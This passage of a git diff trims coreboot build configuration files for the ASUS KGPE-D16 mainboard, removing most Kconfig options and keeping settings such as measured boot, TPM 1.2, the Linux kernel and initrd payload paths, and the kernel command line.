CONFIG_CPU_MICROCODE_CBFS_NONE=y -CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y - -# -# Northbridge -# -# CONFIG_NORTHBRIDGE_AMD_AGESA is not set -CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y -CONFIG_AGP_APERTURE_SIZE=0x4000000 -CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" -CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y -# CONFIG_HT_CHAIN_DISTRIBUTE is not set -# CONFIG_DIMM_DDR2 is not set -CONFIG_DIMM_DDR3=y -CONFIG_DIMM_REGISTERED=y -CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y -# CONFIG_SVI_HIGH_FREQ is not set - -# -# HyperTransport setup -# -# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set -CONFIG_LIMIT_HT_DOWN_WIDTH_16=y -# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set -CONFIG_LIMIT_HT_UP_WIDTH_16=y -# CONFIG_NORTHBRIDGE_AMD_PI is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y -CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" -# CONFIG_AMD_SB_CIMX is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set -CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y -CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y -# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set -CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y -CONFIG_SOUTHBRIDGE_AMD_SR5650=y -CONFIG_EXT_CONF_SUPPORT=y -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set -# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set -# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set - -# -# Super I/O -# -# CONFIG_SUPERIO_ASPEED_AST2400 is not set -# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is not set -# CONFIG_SUPERIO_ASPEED_HAS_UART_DELAY_WORKAROUND is not set -# CONFIG_SUPERIO_FINTEK_FAN_CONTROL is not set -CONFIG_SUPERIO_WINBOND_COMMON_PRE_RAM=y -CONFIG_SUPERIO_WINBOND_W83667HG_A=y - -# -# Embedded Controllers -# -# CONFIG_EC_GOOGLE_WILCO is not set -# CONFIG_CAVIUM_BDK is not set -# CONFIG_MAINBOARD_HAS_CHROMEOS is not set -# CONFIG_GOOGLE_SMBIOS_MAINBOARD_VERSION is not set -# CONFIG_UEFI_2_4_BINDING is not set -# CONFIG_UDK_2015_BINDING is not set -# CONFIG_UDK_2017_BINDING is not set -# CONFIG_USE_SIEMENS_HWILIB is not set -# CONFIG_ARM_LPAE is not set -CONFIG_ARCH_X86=y -CONFIG_ARCH_BOOTBLOCK_X86_32=y -CONFIG_ARCH_VERSTAGE_X86_32=y -CONFIG_ARCH_ROMSTAGE_X86_32=y -# CONFIG_ARCH_POSTCAR_X86_32 is not set -CONFIG_ARCH_RAMSTAGE_X86_32=y -# CONFIG_ARCH_BOOTBLOCK_X86_64 is not set -# CONFIG_ARCH_VERSTAGE_X86_64 is not set -# CONFIG_ARCH_ROMSTAGE_X86_64 is not set -# CONFIG_ARCH_POSTCAR_X86_64 is not set -# CONFIG_ARCH_RAMSTAGE_X86_64 is not set -# CONFIG_USE_MARCH_586 is not set -# CONFIG_AP_IN_SIPI_WAIT is not set -# CONFIG_SIPI_VECTOR_IN_ROM is not set -CONFIG_RAMBASE=0xe00000 -CONFIG_RAMTOP=0x1000000 -# CONFIG_CBMEM_TOP_BACKUP is not set -CONFIG_PC80_SYSTEM=y -# CONFIG_BOOTBLOCK_DEBUG_SPINLOOP is not set -CONFIG_HAVE_CMOS_DEFAULT=y -CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" -CONFIG_IOAPIC_INTERRUPTS_ON_FSB=y -# CONFIG_IOAPIC_INTERRUPTS_ON_APIC_SERIAL_BUS is not set -# CONFIG_HPET_ADDRESS_OVERRIDE is not set -CONFIG_HPET_ADDRESS=0xfed00000 -CONFIG_ID_SECTION_OFFSET=0x80 -# CONFIG_VERSTAGE_DEBUG_SPINLOOP is not set -# CONFIG_ROMSTAGE_DEBUG_SPINLOOP is not set -CONFIG_BOOTBLOCK_SIMPLE=y -# CONFIG_BOOTBLOCK_NORMAL is not set -CONFIG_BOOTBLOCK_SOURCE="bootblock_simple.c" -CONFIG_ACPI_HAVE_PCAT_8259=y -# CONFIG_PAGING_IN_CACHE_AS_RAM is not set -# CONFIG_IDT_IN_EVERY_STAGE is not set -# CONFIG_PIRQ_ROUTE is not set - -# -# Devices -# -CONFIG_HAVE_VGA_TEXT_FRAMEBUFFER=y -CONFIG_MAINBOARD_HAS_NATIVE_VGA_INIT=y -CONFIG_MAINBOARD_FORCE_NATIVE_VGA_INIT=y -# CONFIG_MAINBOARD_HAS_LIBGFXINIT is not set -CONFIG_MAINBOARD_DO_NATIVE_VGA_INIT=y -# CONFIG_MULTIPLE_VGA_ADAPTERS is not set - -# -# Display -# -CONFIG_VGA_TEXT_FRAMEBUFFER=y -CONFIG_SMBUS_HAS_AUX_CHANNELS=y -CONFIG_PCI=y -# CONFIG_NO_MMCONF_SUPPORT is not set -CONFIG_MMCONF_SUPPORT=y -CONFIG_HYPERTRANSPORT_PLUGIN_SUPPORT=y -CONFIG_PCIX_PLUGIN_SUPPORT=y -CONFIG_CARDBUS_PLUGIN_SUPPORT=y -# CONFIG_AZALIA_PLUGIN_SUPPORT is not set -CONFIG_PCIEXP_PLUGIN_SUPPORT=y -# CONFIG_EARLY_PCI_BRIDGE is not set -# CONFIG_SOFTWARE_I2C is not set - -# -# Generic Drivers -# -# CONFIG_DRIVERS_AS3722_RTC is not set -CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 -# CONFIG_MAINBOARD_HAS_CRB_TPM is not set -# CONFIG_GIC is not set -CONFIG_IPMI_KCS=y -# CONFIG_DRIVERS_LENOVO_WACOM is not set -# CONFIG_RT8168_GET_MAC_FROM_VPD is not set -# CONFIG_RT8168_SET_LED_MODE is not set -# CONFIG_SMMSTORE_IN_CBFS is not set -CONFIG_SPI_FLASH=y -# CONFIG_SPI_SDCARD is not set -CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y -# CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY is not set -# CONFIG_SPI_FLASH_NO_FAST_READ is not set -CONFIG_SPI_FLASH_ADESTO=y -CONFIG_SPI_FLASH_AMIC=y -CONFIG_SPI_FLASH_ATMEL=y -CONFIG_SPI_FLASH_EON=y -CONFIG_SPI_FLASH_GIGADEVICE=y -CONFIG_SPI_FLASH_MACRONIX=y -CONFIG_SPI_FLASH_SPANSION=y -CONFIG_SPI_FLASH_SST=y -CONFIG_SPI_FLASH_STMICRO=y -# CONFIG_SPI_FLASH_FAST_READ_DUAL_OUTPUT_3B is not set -# CONFIG_SPI_FLASH_HAS_VOLATILE_GROUP is not set -# CONFIG_HAVE_SPI_CONSOLE_SUPPORT is not set -CONFIG_DRIVERS_UART=y -# CONFIG_DRIVERS_UART_8250IO_SKIP_INIT is not set -# CONFIG_NO_UART_ON_SUPERIO is not set -# CONFIG_UART_OVERRIDE_INPUT_CLOCK_DIVIDER is not set -# CONFIG_UART_OVERRIDE_REFCLK is not set -# CONFIG_DRIVERS_UART_8250MEM is not set -# CONFIG_DRIVERS_UART_8250MEM_32 is not set -# CONFIG_HAVE_UART_SPECIAL is not set -# CONFIG_DRIVERS_UART_OXPCIE is not set -# CONFIG_DRIVERS_UART_PL011 is not set -# CONFIG_UART_USE_REFCLK_AS_INPUT_CLOCK is not set -CONFIG_HAVE_USBDEBUG=y -CONFIG_HAVE_USBDEBUG_OPTIONS=y -# CONFIG_VPD is not set -# CONFIG_DRIVERS_GENERIC_WIFI is not set -# CONFIG_DRIVERS_AMD_PI is not set -CONFIG_DRIVERS_ASPEED_AST2050=y -CONFIG_DRIVERS_ASPEED_AST_COMMON=y -# CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set -# CONFIG_DRIVERS_I2C_MAX98373 is not set -# CONFIG_DRIVERS_I2C_MAX98927 is not set -# CONFIG_DRIVERS_I2C_PCA9538 is not set -# CONFIG_DRIVERS_I2C_PCF8523 is not set -# CONFIG_DRIVERS_I2C_PTN3460 is not set -# CONFIG_DRIVERS_I2C_RT1011 is not set -# CONFIG_DRIVERS_I2C_RT5663 is not set -# CONFIG_DRIVERS_I2C_RTD2132 is not set -# CONFIG_DRIVERS_I2C_RX6110SA is not set -# CONFIG_DRIVERS_I2C_SX9310 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_ATMEL is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_CR50 is not set -# CONFIG_MAINBOARD_HAS_I2C_TPM_GENERIC is not set -CONFIG_DRIVERS_I2C_W83795=y -# CONFIG_PLATFORM_USES_FSP1_0 is not set -# CONFIG_PLATFORM_USES_FSP2_0 is not set -# CONFIG_PLATFORM_USES_FSP2_1 is not set -# CONFIG_INTEL_DDI is not set -# CONFIG_INTEL_EDID is not set -# CONFIG_INTEL_INT15 is not set -# CONFIG_INTEL_GMA_ACPI is not set -# CONFIG_INTEL_GMA_SSC_ALTERNATE_REF is not set -# CONFIG_INTEL_GMA_SWSMISCI is not set -# CONFIG_DRIVER_INTEL_I210 is not set -# CONFIG_DRIVERS_INTEL_MIPI_CAMERA is not set -# CONFIG_HAVE_INTEL_PTT is not set -# CONFIG_DRIVERS_LENOVO_HYBRID_GRAPHICS is not set -# CONFIG_DRIVER_MAXIM_MAX77686 is not set -# CONFIG_DRIVER_PARADE_PS8625 is not set -# CONFIG_DRIVER_PARADE_PS8640 is not set -CONFIG_DRIVERS_MC146818=y -CONFIG_LPC_TPM=y -CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 -CONFIG_MAINBOARD_HAS_LPC_TPM=y -CONFIG_VGA=y -# CONFIG_DRIVERS_RICOH_RCE822 is not set -# CONFIG_DRIVER_SIEMENS_NC_FPGA is not set -# CONFIG_NC_FPGA_NOTIFY_CB_READY is not set -# CONFIG_DRIVERS_SIL_3114 is not set -# CONFIG_MAINBOARD_HAS_SPI_TPM_CR50 is not set -# CONFIG_DRIVER_TI_TPS65090 is not set -# CONFIG_DRIVERS_TI_TPS65913 is not set -# CONFIG_DRIVERS_TI_TPS65913_RTC is not set -# CONFIG_DRIVERS_USB_ACPI is not set -# CONFIG_COMMONLIB_STORAGE is not set - -# -# Security -# - -# -# Verified Boot (vboot) -# - -# -# Trusted Platform Module -# -CONFIG_TPM1=y -# CONFIG_USER_NO_TPM is not set CONFIG_USER_TPM1=y -# CONFIG_USER_TPM2 is not set -# CONFIG_TPM_DEACTIVATE is not set -# CONFIG_DEBUG_TPM is not set CONFIG_TPM_RDRESP_NEED_DELAY=y - -# -# Memory initialization -# -# CONFIG_ACPI_SATA_GENERATOR is not set -# CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES is not set -# CONFIG_ACPI_AMD_HARDWARE_SLEEP_VALUES is not set -# CONFIG_BOOT_DEVICE_NOT_SPI_FLASH is not set -CONFIG_BOOT_DEVICE_SPI_FLASH=y -CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y -# CONFIG_BOOT_DEVICE_SUPPORTS_WRITES is not set -# CONFIG_RTC is not set - -# -# Console -# -CONFIG_SQUELCH_EARLY_SMP=y -CONFIG_CONSOLE_SERIAL=y - -# -# I/O mapped, 8250-compatible -# - -# -# Serial port base address = 0x2f8 -# -# CONFIG_CONSOLE_SERIAL_921600 is not set -# CONFIG_CONSOLE_SERIAL_460800 is not set -# CONFIG_CONSOLE_SERIAL_230400 is not set -CONFIG_CONSOLE_SERIAL_115200=y -# CONFIG_CONSOLE_SERIAL_57600 is not set -# CONFIG_CONSOLE_SERIAL_38400 is not set -# CONFIG_CONSOLE_SERIAL_19200 is not set -# CONFIG_CONSOLE_SERIAL_9600 is not set -CONFIG_TTYS0_BAUD=115200 -# CONFIG_SPKMODEM is not set -# CONFIG_CONSOLE_NE2K is not set -CONFIG_CONSOLE_CBMEM=y -CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 -# CONFIG_CONSOLE_SPI_FLASH is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set -# CONFIG_CMOS_POST is not set -CONFIG_POST_DEVICE_NONE=y -# CONFIG_POST_DEVICE_LPC is not set -# CONFIG_POST_DEVICE_PCI_PCIE is not set -CONFIG_POST_IO_PORT=0x80 -# CONFIG_NO_EARLY_BOOTBLOCK_POSTCODES is not set -CONFIG_HWBASE_DEBUG_CB=y -CONFIG_HAVE_ROMSTAGE_CONSOLE_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_NVRAM_CBFS_SPINLOCK=y -CONFIG_HAVE_ROMSTAGE_MICROCODE_CBFS_SPINLOCK=y -# CONFIG_NO_MONOTONIC_TIMER is not set -CONFIG_HAVE_MONOTONIC_TIMER=y -# CONFIG_TIMER_QUEUE is not set -CONFIG_HAVE_OPTION_TABLE=y -CONFIG_PCI_IO_CFG_EXT=y -CONFIG_IOAPIC=y -# CONFIG_USE_WATCHDOG_ON_BOOT is not set -# CONFIG_GFXUMA is not set -CONFIG_HAVE_ACPI_TABLES=y -CONFIG_HAVE_MP_TABLE=y -CONFIG_HAVE_PIRQ_TABLE=y -# CONFIG_COMMON_FADT is not set -# CONFIG_ACPI_NHLT is not set - -# -# System tables -# -CONFIG_GENERATE_MP_TABLE=y -CONFIG_GENERATE_PIRQ_TABLE=y -CONFIG_GENERATE_SMBIOS_TABLES=y -# CONFIG_SMBIOS_PROVIDED_BY_MOBO is not set - -# -# Payload -# -# CONFIG_PAYLOAD_NONE is not set -# CONFIG_PAYLOAD_ELF is not set -# CONFIG_PAYLOAD_BAYOU is not set -# CONFIG_PAYLOAD_FILO is not set -# CONFIG_PAYLOAD_GRUB2 is not set -# CONFIG_PAYLOAD_LINUXBOOT is not set -# CONFIG_PAYLOAD_SEABIOS is not set -# CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_YABITS is not set CONFIG_PAYLOAD_LINUX=y -# CONFIG_PAYLOAD_TIANOCORE is not set CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set -CONFIG_COMPRESS_SECONDARY_PAYLOAD=y - -# -# Secondary Payloads -# -# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set -# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set -# CONFIG_NVRAMCUI_SECONDARY_PAYLOAD is not set -# CONFIG_TINT_SECONDARY_PAYLOAD is not set - -# -# Debugging -# - -# -# CPU Debug Settings -# -CONFIG_HAVE_DEBUG_CAR=y -# CONFIG_DEBUG_CAR is not set - -# -# BLOB Debug Settings -# - -# -# General Debug Settings -# -# CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set -# CONFIG_DEBUG_CBFS is not set -CONFIG_HAVE_DEBUG_RAM_SETUP=y -# CONFIG_DEBUG_RAM_SETUP is not set -# CONFIG_DEBUG_PIRQ is not set -CONFIG_HAVE_DEBUG_SMBUS=y -# CONFIG_DEBUG_SMBUS is not set -# CONFIG_DEBUG_MALLOC is not set -# CONFIG_DEBUG_CONSOLE_INIT is not set -# CONFIG_DEBUG_SPI_FLASH is not set -# CONFIG_TRACE is not set -# CONFIG_DEBUG_BOOT_STATE is not set -# CONFIG_DEBUG_ADA_CODE is not set -# CONFIG_HAVE_EM100_SUPPORT is not set -CONFIG_ENABLE_APIC_EXT_ID=y -CONFIG_WARNINGS_ARE_ERRORS=y -# CONFIG_POWER_BUTTON_DEFAULT_ENABLE is not set -# CONFIG_POWER_BUTTON_DEFAULT_DISABLE is not set -# CONFIG_POWER_BUTTON_FORCE_ENABLE is not set -# CONFIG_POWER_BUTTON_FORCE_DISABLE is not set -# CONFIG_POWER_BUTTON_IS_OPTIONAL is not set -# CONFIG_REG_SCRIPT is not set -# CONFIG_NO_XIP_EARLY_STAGES is not set -# CONFIG_EARLY_CBMEM_LIST is not set -CONFIG_RELOCATABLE_MODULES=y -CONFIG_NO_STAGE_CACHE=y -CONFIG_BOOTBLOCK_CUSTOM=y -CONFIG_HAVE_ROMSTAGE=y -CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config index 009414bf2..05c3c3ccd 100644 --- a/config/coreboot-kgpe-d16_workstation-usb_keyboard.config +++ b/config/coreboot-kgpe-d16_workstation-usb_keyboard.config @@ -1,709 +1,18 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y # CONFIG_COLLECT_TIMESTAMPS is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_NO_RELOCATABLE_RAMSTAGE=y -# CONFIG_RELOCATABLE_RAMSTAGE is not set -# CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_ADI is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_ADVANSUS is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y -# CONFIG_VENDOR_AVALUE is not set -# CONFIG_VENDOR_BAP is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_ELMEX is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ESD is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IEI is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIPPERT is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TYAN is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_DIR="asus/kgpe-d16" -CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" -CONFIG_MAX_CPUS=32 -CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 -CONFIG_MAINBOARD_VENDOR="ASUS" -CONFIG_APIC_ID_OFFSET=0x0 -CONFIG_HW_MEM_HOLE_SIZEK=0x100000 -CONFIG_MAX_PHYSICAL_CPUS=4 -CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 -CONFIG_HT_CHAIN_UNITID_BASE=0x0 -CONFIG_IRQ_SLOT_COUNT=13 -CONFIG_VGA_BIOS_ID="1a03,2000" -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DIMM_SPD_SIZE=256 -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" -CONFIG_DEVICETREE="devicetree.cb" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -# CONFIG_BOARD_ASUS_AM1I_A is not set -# CONFIG_BOARD_ASUS_F2A85_M is not set -# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set -# CONFIG_BOARD_ASUS_F2A85_M_LE is not set -# CONFIG_BOARD_ASUS_H61M_CS is not set -# CONFIG_BOARD_ASUS_KCMA_D8 is not set -# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_BOARD_ASUS_M4A78_EM is not set -# CONFIG_BOARD_ASUS_M4A785M is not set -# CONFIG_BOARD_ASUS_M4A785TM is not set -# CONFIG_BOARD_ASUS_M5A88_V is not set -# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set -# CONFIG_BOARD_ASUS_P2B_D is not set -# CONFIG_BOARD_ASUS_P2B_DS is not set -# CONFIG_BOARD_ASUS_P2B_F is not set -# CONFIG_BOARD_ASUS_P2B_LS is not set -# CONFIG_BOARD_ASUS_P2B is not set -# CONFIG_BOARD_ASUS_P3B_F is not set -# CONFIG_BOARD_ASUS_P5GC_MX is not set -# CONFIG_BOARD_ASUS_P5QC is not set -# CONFIG_BOARD_ASUS_P5Q_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_EM is not set -# CONFIG_BOARD_ASUS_P5QPL_AM is not set -# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set -# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set -CONFIG_POST_IO=y -CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" -CONFIG_DCACHE_RAM_BASE=0xc2000 -CONFIG_DCACHE_RAM_SIZE=0x1e000 -CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f -CONFIG_MAX_REBOOT_CNT=10 -CONFIG_OVERRIDE_DEVICETREE="" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_FMDFILE="" -# CONFIG_VBOOT is not set -CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_POST_DEVICE=y -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_TPM_INIT=y # CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_DIMM_MAX=4 -CONFIG_TPM_PIRQ=0x0 -CONFIG_TTYS0_LCS=3 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -# CONFIG_USBDEBUG is not set -CONFIG_IPMI_KCS_REGISTER_SPACING=1 -CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_NO_POST is not set -CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 -CONFIG_HEAP_SIZE=0xc0000 -# CONFIG_CONSOLE_POST is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_2048=y -# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x1000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# CONFIG_SYSTEM_TYPE_LAPTOP is not set -# CONFIG_SYSTEM_TYPE_TABLET is not set -# CONFIG_SYSTEM_TYPE_DETACHABLE is not set -# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set -# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set - -# -# Chipset -# - -# -# SoC -# -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_CPU_ADDR_BITS=48 -CONFIG_MMCONF_BUS_NUMBER=256 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" -# CONFIG_SOC_CAVIUM_CN81XX is not set -CONFIG_ARCH_ARMV8_EXTENSION=0 -CONFIG_STACK_SIZE=0x1000 -# CONFIG_SOC_CAVIUM_COMMON is not set -# CONFIG_SOC_INTEL_GLK is not set -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_TTYS0_BASE=0x2f8 -CONFIG_HPET_MIN_TICKS=0x14 -CONFIG_UART_PCI_ADDR=0x0 -# CONFIG_SOC_MEDIATEK_MT8173 is not set -# CONFIG_SOC_MEDIATEK_MT8183 is not set -# CONFIG_SOC_NVIDIA_TEGRA124 is not set -# CONFIG_SOC_NVIDIA_TEGRA210 is not set -# CONFIG_SOC_QUALCOMM_COMMON is not set -# CONFIG_SOC_QC_IPQ40XX is not set -# CONFIG_SOC_QC_IPQ806X is not set -# CONFIG_SOC_QUALCOMM_QCS405 is not set -# CONFIG_SOC_QUALCOMM_SC7180 